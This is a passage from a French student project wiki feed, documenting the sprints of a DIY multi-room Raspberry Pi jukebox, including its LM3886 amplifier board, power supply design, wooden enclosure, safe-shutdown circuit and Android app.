*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27492</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27492"/>
				<updated>2016-02-21T17:21:46Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Alimentation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
